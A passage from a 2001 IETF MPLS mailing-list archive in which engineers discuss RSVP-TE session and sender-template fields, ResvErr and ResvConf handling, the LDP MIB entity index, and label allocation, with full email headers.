> Path message may not be a good choice in the long run.
>
> ...George
>
> ==================================================================
> George Swallow       Cisco Systems                   (978) 244-8143
>                      250 Apollo Drive
>                      Chelmsford, Ma 01824



From owner-mpls@UU.NET  Thu May 10 16:25:12 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id QAA07645
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 16:25:12 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoll04650;
	Thu, 10 May 2001 20:24:49 GMT
Received: by mail-control.mail.uu.net 
	id QQkoll21183
	for mpls-outgoing; Thu, 10 May 2001 20:24:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoll20678
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 20:21:33 GMT
Received: from cmr1.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkoll09137
	for <mpls@uu.net>; Thu, 10 May 2001 20:19:08 GMT
Received: from mill.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkoll13639
	for <mpls@uu.net>; Thu, 10 May 2001 20:19:06 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id QAA29487 for mpls@uu.net; Thu, 10 May 2001 16:19:06 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkolk17218
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 20:14:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkolj16489
	for <mpls@UU.NET>; Thu, 10 May 2001 19:49:34 GMT
Received: from funnel.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: funnel.cisco.com [161.44.131.24])
	id QQkolj26264
	for <mpls@UU.NET>; Thu, 10 May 2001 19:49:33 GMT
Received: from telescope.cisco.com (telescope.cisco.com [161.44.128.68]) by funnel.cisco.com (8.8.5-Cisco.1/8.6.5) with ESMTP id PAA11944; Thu, 10 May 2001 15:49:33 -0400 (EDT)
Received: from localhost (swallow@localhost) by telescope.cisco.com (8.8.5-Cisco.1/CISCO.WS.1.2) with ESMTP id PAA05674; Thu, 10 May 2001 15:32:07 -0400 (EDT)
Message-Id: <200105101932.PAA05674@telescope.cisco.com>
X-Authentication-Warning: telescope.cisco.com: swallow owned process doing -bs
To: Guangzhi Li <gli@research.att.com>
cc: George Swallow <swallow@cisco.com>, Eric Gray <eric.gray@sandburst.com>,
        Eric W Gray <ewgray@mindspring.com>, mpls@UU.NET, swallow@cisco.com
Subject: Re: Determining the Ingress IP address in an RSVP session 
In-reply-to: Your message of "Thu, 10 May 2001 15:03:08 EDT."
             <3AFAE5EC.C229F149@research.att.com> 
Date: Thu, 10 May 2001 15:32:07 -0400
From: George Swallow <swallow@cisco.com>
Sender: owner-mpls@UU.NET
Precedence: bulk

Guangzhi -

> Thanks. So the conclusion could be:
> 
> (1) In order to  support destination rooted tree lsps, the SESSION field
> of extended ID must be zero.

Yes.

> (2) In order to support fast reroute, the SESSION field of extended ID
> must be used (non zero).

Only if you care about sharing the bandwidth.  If you're just doing a
best effort service then the restriction isn't necessary.

> Then you can not have both. But both are legal based on RSVP-TE. It is
> vendor's choice for implementation. But should be ready to accept both.
> Right ?

Again only if you're worried about bandwidth.

> Now  sender_template. Is it legal to put sender_template address different
> from extended ID when extended ID is non-zero? In your example of fast
> reroute,

Yes.

> Is it legal to put PLR address in the sender_template ? if not, then which
> one ?

Yes.

,,,George

==================================================================
George Swallow       Cisco Systems                   (978) 244-8143
                     250 Apollo Drive
                     Chelmsford, Ma 01824



From owner-mpls@UU.NET  Thu May 10 17:13:58 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id RAA08423
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 17:13:58 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkolo14667;
	Thu, 10 May 2001 21:13:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkolo13596
	for mpls-outgoing; Thu, 10 May 2001 21:13:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkolo13343
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 21:12:55 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkolo05045
	for <mpls@UU.NET>; Thu, 10 May 2001 21:04:17 GMT
Received: from mail-blue.research.att.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-blue.research.att.com [135.207.30.102])
	id QQkolo04562
	for <mpls@UU.NET>; Thu, 10 May 2001 21:04:17 GMT
Received: from bigmail.research.att.com (bigmail.research.att.com [135.207.30.101])
	by mail-blue.research.att.com (Postfix) with ESMTP
	id 9B5624DF6E; Thu, 10 May 2001 17:04:13 -0400 (EDT)
Received: from research.att.com (dhcp145.research.att.com [135.207.28.145])
	by bigmail.research.att.com (8.8.8/8.8.8) with ESMTP id RAA07770;
	Thu, 10 May 2001 17:04:13 -0400 (EDT)
Message-ID: <3AFB0301.4C0AC0B8@research.att.com>
Date: Thu, 10 May 2001 17:07:13 -0400
From: Guangzhi Li <gli@research.att.com>
X-Mailer: Mozilla 4.7 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: George Swallow <swallow@cisco.com>
Cc: Eric Gray <eric.gray@sandburst.com>, Eric W Gray <ewgray@mindspring.com>,
        mpls@UU.NET
Subject: Re: Determining the Ingress IP address in an RSVP session
References: <200105101932.PAA05674@telescope.cisco.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

George:

I think your answer solves a lot of questions posted in this mailing list.
Thanks,

-- Guangzhi

George Swallow wrote:

> Guangzhi -
>
> > Thanks. So the conclusion could be:
> >
> > (1) In order to  support destination rooted tree lsps, the SESSION field
> > of extended ID must be zero.
>
> Yes.
>
> > (2) In order to support fast reroute, the SESSION field of extended ID
> > must be used (non zero).
>
> Only if you care about sharing the bandwidth.  If you're just doing a
> best effort service then the restriction isn't necessary.
>
> > Then you can not have both. But both are legal based on RSVP-TE. It is
> > vendor's choice for implementation. But should be ready to accept both.
> > Right ?
>
> Again only if you're worried about bandwidth.
>
> > Now  sender_template. Is it legal to put sender_template address different
> > from extended ID when extended ID is non-zero? In your example of fast
> > reroute,
>
> Yes.
>
> > Is it legal to put PLR address in the sender_template ? if not, then which
> > one ?
>
> Yes.
>
> ,,,George
>
> ==================================================================
> George Swallow       Cisco Systems                   (978) 244-8143
>                      250 Apollo Drive
>                      Chelmsford, Ma 01824



From owner-mpls@UU.NET  Thu May 10 18:19:28 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA09157
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 18:19:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkolt09951;
	Thu, 10 May 2001 22:18:50 GMT
Received: by mail-control.mail.uu.net 
	id QQkolt10406
	for mpls-outgoing; Thu, 10 May 2001 22:18:18 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkolt10398
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 22:18:01 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkolq19141
	for <mpls@UU.NET>; Thu, 10 May 2001 21:30:18 GMT
Received: from dnsmx1pya.telcordia.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: dnsmx1pya.telcordia.com [128.96.20.31])
	id QQkolq15186
	for <mpls@UU.NET>; Thu, 10 May 2001 21:30:18 GMT
Received: from notes640.cc.telcordia.com (notes640.cc.telcordia.com [128.96.22.6])
	by dnsmx1pya.telcordia.com (8.9.3/8.9.3) with ESMTP id RAA07489;
	Thu, 10 May 2001 17:24:50 -0400 (EDT)
Subject: RSVP
To: George Swallow <swallow@cisco.com>
Cc: mpls@UU.NET
From: "Hong Liao" <hliao@telcordia.com>
Date: Thu, 10 May 2001 17:25:13 -0400
Message-ID: <OF6FB4BA15.B515EDF5-ON85256A48.0074A1E3@cc.telcordia.com>
X-MIMETrack: Serialize by Router on notes640/Telcordia(Release 5.0.6a |January 17, 2001) at
 05/10/2001 05:25:14 PM
MIME-Version: 1.0
Content-type: text/plain; charset=us-ascii
Sender: owner-mpls@UU.NET
Precedence: bulk




Hi George,


In ResvErr message,

<error flow descriptor> ::= <WF flow descriptor>
                          | <FF flow descriptor>
                          | <SE flow descriptor>

 o    WF Style:

                  <error flow descriptor> ::= <WF flow descriptor>


  o    FF style:

                  <error flow descriptor> ::= <FF flow descriptor>


   o    SE style:

                  <error flow descriptor> ::= <SE flow descriptor>

Should              <FF flow descriptor> ::=

                          [ <FLOWSPEC> ] <FILTER_SPEC>  or    [ <FLOWSPEC> ] <FILTER_SPEC> <LABEL>  [ <RECORD_ROUTE> ]  ?

The difference is that there is <LABEL>  [ <RECORD_ROUTE> ] in the RSVP-TE resv message for the  <FF flow descriptor>.

Thanks in an advance.

Julia








From owner-mpls@UU.NET  Thu May 10 18:25:32 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id SAA09208
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 18:25:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkolt16590;
	Thu, 10 May 2001 22:24:52 GMT
Received: by mail-control.mail.uu.net 
	id QQkolt10993
	for mpls-outgoing; Thu, 10 May 2001 22:24:21 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkolt10985
	for <mpls@mail-control.mail.uu.net>; Thu, 10 May 2001 22:24:14 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkolr06053
	for <mpls@uu.net>; Thu, 10 May 2001 21:54:44 GMT
Received: from shared1-mail.whowhere.com by cmr2.ash.ops.us.uu.net with SMTP 
	(peer crosschecked as: shared1-batch.whowhere.com [209.185.123.82])
	id QQkolr27654
	for <mpls@uu.net>; Thu, 10 May 2001 21:54:44 GMT
Received: from Unknown/Local ([?.?.?.?]) by shared1-mail.whowhere.com; Thu May 10 14:54:11 2001
To: mpls@UU.NET
Date: Thu, 10 May 2001 14:54:11 -0700
From: "Lyndon Ong" <lyndon_ong@eudoramail.com>
Message-ID: <NFLFFKIFMPIHDBAA@shared1-mail.whowhere.com>
Mime-Version: 1.0
X-Sent-Mail: off
Reply-To: lyndon_ong@eudoramail.com
X-Mailer: MailCity Service
Subject: routing of ResvConf
X-Sender-Ip: 63.96.78.21
Organization: QUALCOMM Eudora Web-Mail  (http://www.eudoramail.com:80) 
Content-Type: text/plain; charset=us-ascii
Content-Language: en
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

This probably has been answered before, but if you ask for ResvConf when using RSVP-TE, does the ResvConf go back "hop-by-hop" following the path of the LSP, or does it go back using normal routing?

Thanks,

L. Ong


Join 18 million Eudora users by signing up for a free Eudora Web-Mail account at http://www.eudoramail.com


From owner-mpls@UU.NET  Thu May 10 21:38:18 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA12339
	for <mpls-archive@lists.ietf.org>; Thu, 10 May 2001 21:38:18 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkomg29820;
	Fri, 11 May 2001 01:38:06 GMT
Received: by mail-control.mail.uu.net 
	id QQkomg27431
	for mpls-outgoing; Fri, 11 May 2001 01:37:33 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkomg27411
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 01:37:20 GMT
Received: from cmr1.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkomg05403
	for <mpls@UU.NET>; Fri, 11 May 2001 01:36:59 GMT
From: jcucchiara@mindspring.com
Received: from blount.mail.mindspring.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: blount.mail.mindspring.net [207.69.200.226])
	id QQkomg21875
	for <mpls@UU.NET>; Fri, 11 May 2001 01:36:59 GMT
Received: from windows-98 (user-2ive0a3.dialup.mindspring.com [165.247.1.67])
	by blount.mail.mindspring.net (8.9.3/8.8.5) with SMTP id VAA08524;
	Thu, 10 May 2001 21:36:44 -0400 (EDT)
Message-Id: <3.0.1.32.20010510214211.00716720@pop.mindspring.com>
X-Sender: jcucchiara@pop.mindspring.com
X-Mailer: Windows Eudora Pro Version 3.0.1 (32)
Date: Thu, 10 May 2001 21:42:11 -0400
To: <kishan@acc.com>, <mpls@UU.NET>
Subject: Re: Question on LdpEntityIndex ??
In-Reply-To: <NFBBIBMLMBKPNKKDJEGGGEHNCCAA.kishan@acc.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Sender: owner-mpls@UU.NET
Precedence: bulk

At 11:32 AM 5/7/01 -0700, Hari Kishan wrote:
>
>The draft-ietf-mpls-ldp-mib-07.txt has the following
>description about EntityIndex.
>
>" mplsLdpEntityIndex OBJECT-TYPE
>
>			....
>			....
>
>             A secondary index (this object) is needed by some
>             but not all, LDP implementations.  For example
>             in an LDP implementation which uses PPP, this
>             index may be needed."
>         ::= { mplsLdpEntityEntry 2 } "
>
>
>Can anybody tell me one practical scenario where this entityindex
>MUST be used. ( I could not understand the PPP example
>written in the draft)
>

Kishan, 

We had only the mpldLdpEntityLdpId in there (see earlier
versions of the MIB) and the request was made by several
members that said an additional index was needed for PPP.
I do not remember the details and would refer you to
the email archives.  Certainly, the LDP MIB should
support LDP using PPP (or ATM, or FrameRelay, etc).

This index may not be important to
all implementations, but it would still need to be supported
as a MIB index for SNMP to work.  It is consistent throughout
the MIB which is why it appears in the other tables also.

   Thanks, Joan

>
>This Entity Index is made part of the INDEX for many tables like
>adjacency table, session table , etc.,
>
>As per my understanding a LDP Session can be uniquely identified by
>{ mplsLdpEntityLdpId,mplsLdpPeerLdpId }, but the ldp-mib uses
>{mplsLdpEntityLdpId,mplsLdpEntityIndex, mplsLdpPeerLdpId } as the
>INDEX.
>
>If {a,b} forms the INDEX of a table, {a,b,c} ( assume 'c' is a column
>in
>the table ) also works ( of course any superset of {a,b} works ).
>
>Again, I would like to know when exactly does it become a MUST to use
>this
>entityindex to uniquely identify a LDP session in LDP Session table.
>
>thanks,
>Kishan
>
>---------------------------------
>Hari Kishan Desineni,
>Ericsson Inc,
>Data Backbone & Optical Division,
>Santabarbara,
>California - 93117
>Office:(805) 562 6419
>Home:(805) 968 1894
>
>



From owner-mpls@UU.NET  Fri May 11 00:41:38 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA16235
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 00:41:38 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoms02020;
	Fri, 11 May 2001 04:41:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkoms15038
	for mpls-outgoing; Fri, 11 May 2001 04:40:39 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoms15013
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 04:40:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkoms19376
	for <mpls@UU.NET>; Fri, 11 May 2001 04:40:23 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkoms01861
	for <mpls@UU.NET>; Fri, 11 May 2001 04:40:18 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <KWGYJSMR>; Fri, 11 May 2001 10:10:04 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D71FF0B1@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: "'mpls@UU.NET'" <mpls@UU.NET>, "'rsvp@ISI.EDU'" <rsvp@ISI.EDU>
Date: Fri, 11 May 2001 10:10:03 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

whenever the RESV refresh comes in th LSR, does RSVP-TE ask for the label,
even if it is already allocated and present in the RSB.?

if yes, what does mpls do in this case? does it lookup in the ILM table and
return the previously allocated label or return a new one.?

if there is a new filter spec (new LSP) in the resv message and style is
shared explicit and label has to be allocated for this filter, if mpls is
allocating label on the basis of flowspec, then mpls should return the same
label for this label request. am I right?

if yes, then what happens when resv tear comes for one of the filter spec
(style is SE). does it ask mpls for withdrawl of label, which could be in
use by other filter specs(SE style and incoming interface is same for all
the filter spec). who maintains the count mpls or rsvp-te?

TIA

Khuzema
------------------------------------------------
Net Brahma Technologies Private Limited
Internext Networking Software
A Microland Group Company
777, 3rd 'a' cross, 18th Main 
Koramangala VI th block
Bangalore-95
Phone no.s - (080) 5521451 / 5525011 / 5525012  Ext. 232
Fax no        - (080) 5537233 
email : khuzemap@netbrahma.com
www.netbrahma.com



From owner-mpls@UU.NET  Fri May 11 07:38:32 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA04553
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 07:38:32 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkonu14653;
	Fri, 11 May 2001 11:38:18 GMT
Received: by mail-control.mail.uu.net 
	id QQkonu14594
	for mpls-outgoing; Fri, 11 May 2001 11:37:45 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkonu14570
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 11:37:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkonu01861
	for <mpls@UU.NET>; Fri, 11 May 2001 11:37:09 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkonu13394
	for <mpls@UU.NET>; Fri, 11 May 2001 11:37:06 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <KWGYJT15>; Fri, 11 May 2001 17:06:56 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D71FF0B9@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: "'rsvp@ISI.EDU'" <rsvp@ISI.EDU>, "'mpls@UU.NET'" <mpls@UU.NET>
Subject: Inputs to get the label
Date: Fri, 11 May 2001 17:06:55 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

what are the parameters other than LABEL_REQUEST object that RSVP-TE should
pass to MPLS to get a LABEL?

draft-ietf-mpls-rsvp-lsp-tunnel-08, while discussing the handling of LABEL
object in Resv Messages downstream, says 

"A node is expected to send a Resv message before its refresh timers expire
if the contents of the LABEL object change." 

my query is how can a LABEL object change in LSR and how will RSVP come to
know about that.

Khuzema.


From owner-mpls@UU.NET  Fri May 11 07:53:31 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA04967
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 07:53:31 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkonv00077;
	Fri, 11 May 2001 11:53:20 GMT
Received: by mail-control.mail.uu.net 
	id QQkonv16395
	for mpls-outgoing; Fri, 11 May 2001 11:52:49 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkonv16386
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 11:52:45 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkonv06165
	for <mpls@uu.net>; Fri, 11 May 2001 11:52:31 GMT
Received: from huaweimail.in.huawei.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQkonv29150
	for <mpls@uu.net>; Fri, 11 May 2001 11:52:29 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <KVJX064A>; Fri, 11 May 2001 17:25:26 +0500
Message-ID: <751B6DD7A243D511AB9F0002557C5687057D94@HUAWEIMAIL>
From: Bhupesh Bajaj <bhupeshb@in.huawei.com>
To: Khuzema Pithewan <KhuzemaP@netbrahma.com>
Cc: mpls@UU.NET
Subject: RE: Inputs to get the label
Date: Fri, 11 May 2001 17:25:24 +0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

hi,
i believe that , as MPLS is supposed to do a mapping 
between Labels and FEC's , so In the "Resv" message 
the RSVP - TE should pass "FEC" to MPLS.

as FEC is the only thing on which the MPLS bases its 
label assignment/ mapping.

correct me if i am wrong,
thanks and regards,
bhupesh


-----Original Message-----
From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
Sent: Friday, May 11, 2001 5:07 PM
To: 'rsvp@ISI.EDU'; 'mpls@UU.NET'
Subject: Inputs to get the label


Hi,

what are the parameters other than LABEL_REQUEST object that RSVP-TE should
pass to MPLS to get a LABEL?

draft-ietf-mpls-rsvp-lsp-tunnel-08, while discussing the handling of LABEL
object in Resv Messages downstream, says 

"A node is expected to send a Resv message before its refresh timers expire
if the contents of the LABEL object change." 

my query is how can a LABEL object change in LSR and how will RSVP come to
know about that.

Khuzema.


From owner-mpls@UU.NET  Fri May 11 07:59:26 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id HAA05108
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 07:59:26 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkonv19318;
	Fri, 11 May 2001 11:59:10 GMT
Received: by mail-control.mail.uu.net 
	id QQkonv16853
	for mpls-outgoing; Fri, 11 May 2001 11:58:37 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkonv16843
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 11:58:25 GMT
Received: from cmr0.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkonv16417
	for <mpls@UU.NET>; Fri, 11 May 2001 11:57:00 GMT
Received: from brahma01.netbrahma.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.67])
	id QQkonv03971
	for <mpls@UU.NET>; Fri, 11 May 2001 11:56:55 GMT
Received: by BRAHMA01 with Internet Mail Service (5.5.2653.19)
	id <KWGYJTG4>; Fri, 11 May 2001 17:26:44 +0530
Message-ID: <13D467F625FAD511AE2A00D0B7B917D71FF0BA@BRAHMA01>
From: Khuzema Pithewan <KhuzemaP@netbrahma.com>
To: mpls@UU.NET
Subject: RE: Inputs to get the label
Date: Fri, 11 May 2001 17:26:44 +0530
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

FEC is a very generic term, but what are the parameters should be passed as
FEC to MPLS to get the label.

Khuzema.

> ----------
> From: 	Bhupesh Bajaj
> Sent: 	Friday, May 11, 2001 5:55 PM
> To: 	Khuzema Pithewan
> Cc: 	mpls@uu.net
> Subject: 	RE: Inputs to get the label
> Importance: 	High
> 
> hi,
> i believe that , as MPLS is supposed to do a mapping 
> between Labels and FEC's , so In the "Resv" message 
> the RSVP - TE should pass "FEC" to MPLS.
> 
> as FEC is the only thing on which the MPLS bases its 
> label assignment/ mapping.
> 
> correct me if i am wrong,
> thanks and regards,
> bhupesh
> 
> 
> -----Original Message-----
> From: Khuzema Pithewan [mailto:KhuzemaP@netbrahma.com]
> Sent: Friday, May 11, 2001 5:07 PM
> To: 'rsvp@ISI.EDU'; 'mpls@UU.NET'
> Subject: Inputs to get the label
> 
> 
> Hi,
> 
> what are the parameters other than LABEL_REQUEST object that RSVP-TE
> should
> pass to MPLS to get a LABEL?
> 
> draft-ietf-mpls-rsvp-lsp-tunnel-08, while discussing the handling of LABEL
> object in Resv Messages downstream, says 
> 
> "A node is expected to send a Resv message before its refresh timers
> expire
> if the contents of the LABEL object change." 
> 
> my query is how can a LABEL object change in LSR and how will RSVP come to
> know about that.
> 
> Khuzema.
> 


From owner-mpls@UU.NET  Fri May 11 08:20:28 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id IAA05838
	for <mpls-archive@lists.ietf.org>; Fri, 11 May 2001 08:20:27 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkonx11003;
	Fri, 11 May 2001 12:20:14 GMT
Received: by mail-control.mail.uu.net 
	id QQkonx07769
	for mpls-outgoing; Fri, 11 May 2001 12:19:51 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkonx07747
	for <mpls@mail-control.mail.uu.net>; Fri, 11 May 2001 12:19:37 GMT
Received: from cmr2.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkonx12990
	for <mpls@uu.net>; Fri, 11 May 2001 12:18:16 GMT
Received: from huaweimail.in.huawei.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [203.197.168.164])
	id QQkonx08665
	for <mpls@uu.net>; Fri, 11 May 2001 12:18:14 GMT
Received: by HUAWEIMAIL with Internet Mail Service (5.5.2653.19)
	id <KVJX06YF>; Fri, 11 May 2001 17:51:10 +0500
Message-ID: <751B6DD7A243D511AB9F0002557C5687057E2C@HUAWEIMAIL>
From: Bhupesh Bajaj <bhupeshb@in.huawei.com>
To: Khuzema Pithewan <KhuzemaP@netbrahma.com>, mpls@UU.NET
Subject: RE: Inputs to get the label
Date: Fri, 11 May 2001 17:51:09 +0500
Importance: high
X-Priority: 1
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
